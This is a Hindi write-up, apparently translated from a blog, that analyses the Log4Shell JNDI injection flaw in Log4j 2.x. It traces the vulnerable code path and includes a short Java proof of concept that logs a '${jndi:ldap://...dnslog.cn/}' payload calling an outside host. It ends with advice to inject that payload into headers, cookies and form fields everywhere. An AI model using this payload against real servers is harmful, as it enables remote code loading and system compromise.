
Jdk7u21 (कोई भी संस्करण चलेगा)
प्रभावित संस्करण: Apache Log4j 2.x <= 2.14.1
ज्ञात प्रभावित एप्लिकेशन और घटक:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
log4j निर्देशांक
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
पेलोड देखकर, हमें निस्संदेह log4j lookup या log4j jndi खोजना चाहिए
https://logging.apache.org/log4j/2.x/manual/lookups.html【अंग्रेज़ी दस्तावेज़】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【चीनी दस्तावेज़】

हम उपयोग के तरीकों को देख सकते हैं, यह समझना मुश्किल नहीं है कि यहाँ jndi समर्थित है, और jndi अन्य प्रोटोकॉल का भी समर्थन करता है, रूपांतरण करेगा, ldap का ध्यान आना स्वाभाविक है; हम डीबग करके देखते हैं। क्योंकि मैंने कल आधी रात को डीबग किया, साढ़े पाँच बजे तक, सुबह क्लास भी थी, इसलिए मैं सोने चला गया, केवल विश्लेषण प्रक्रिया के स्क्रीनशॉट सेव किए

अधिक बातें नहीं, आगे देखते हैं; क्योंकि मैंने कल रात कई बार डीबग किया, इसलिए मैं सीधे महत्वपूर्ण स्थान पर आता हूँ

सीधे महत्वपूर्ण बिंदु पर: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

हम इस विधि का अनुसरण करके देखते हैं, जावा नेटिव में यह विधि स्ट्रिंग को फ़ॉर्मेट करने के लिए है, पता नहीं यहाँ भी वैसा ही है या नहीं
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

यहाँ getMessage() के माध्यम से हमारा पेलोड प्राप्त किया गया है, क्यों?


यहाँ आगे विस्तार नहीं करते; हम आगे देखते हैं
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
यहाँ देखा जा सकता है कि यह जाँचता है कि क्या ${ से शुरू होता है, यदि हाँ, तो निष्पादित करता है, जिससे भेद्यता बिंदु ट्रिगर होता है



इस विधि के दस्तावेज़ यहाँ देखे जा सकते हैं https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html






लगता है दस्तावेज़ देखना ही काफी है, यहाँ वेरिएबल पार्सर प्राप्त किया जा रहा है



फिर org.apache.logging.log4j.core.lookup.Interpolator#lookup में प्रवेश करते हैं

संबंधित उपसर्ग (prefix) प्राप्त करें, संबंधित jndi क्लास ऑब्जेक्ट - JndiLookup का चयन करें


इस प्रकार jndi इंजेक्शन किया जाता है, जिससे रिमोट क्लास लोडिंग का उद्देश्य प्राप्त होता है;

1, jndi सर्वर पर स्थित है, लक्ष्य को सर्वर की class फ़ाइल का अनुरोध करने दें 2, ध्यान रखें कि log4j भेद्यता ट्रिगर बिंदु वह स्थान है जहाँ लॉग दर्ज किए जाते हैं; जैसे जिन स्थानों को log4j द्वारा लॉग किया जा सकता है जैसे http अनुरोध हेडर, cookie, लॉगिन बॉक्स, GET पैरामीटर, POST पैरामीटर आदि

आधिकारिक दस्तावेज़ देखें, वास्तव में यह फ़ॉर्मेटिंग के माध्यम से ${jndi:ldap://uci5xf.dnslog.cn/test} को वास्तविक डेटा से प्रतिस्थापित करता है;

संदर्भ लेख: https://blog.csdn.net/lqzkcx3/article/details/82050375 log4j फिर lookup का उपयोग करके एक प्रोटोकॉल प्राप्त करता है, वह प्रोटोकॉल jndi, data, sys आदि होता है। और यह अंदर map के रूप में संग्रहीत होता है; संबंधित key की जाँच करके, संबंधित lookup प्राप्त करके निष्पादित किया जाता है। यह एक मानक jndi इंजेक्शन भेद्यता बनाता है;
प्रवेश बिंदु से देखें तो, यह पता लगाना मुश्किल नहीं है कि जब तक लॉग में दर्ज किया जाता है, निष्पादित किया जा सकता है (कुछ को छोड़कर) क्योंकि यह अस्थायी रूप से लिखा गया है, गहराई से नहीं जाएँगे;
इसे हिट करने का तरीका है: जहाँ भी इंटरैक्शन हो, सब जगह हिट कर दो, हाहाहा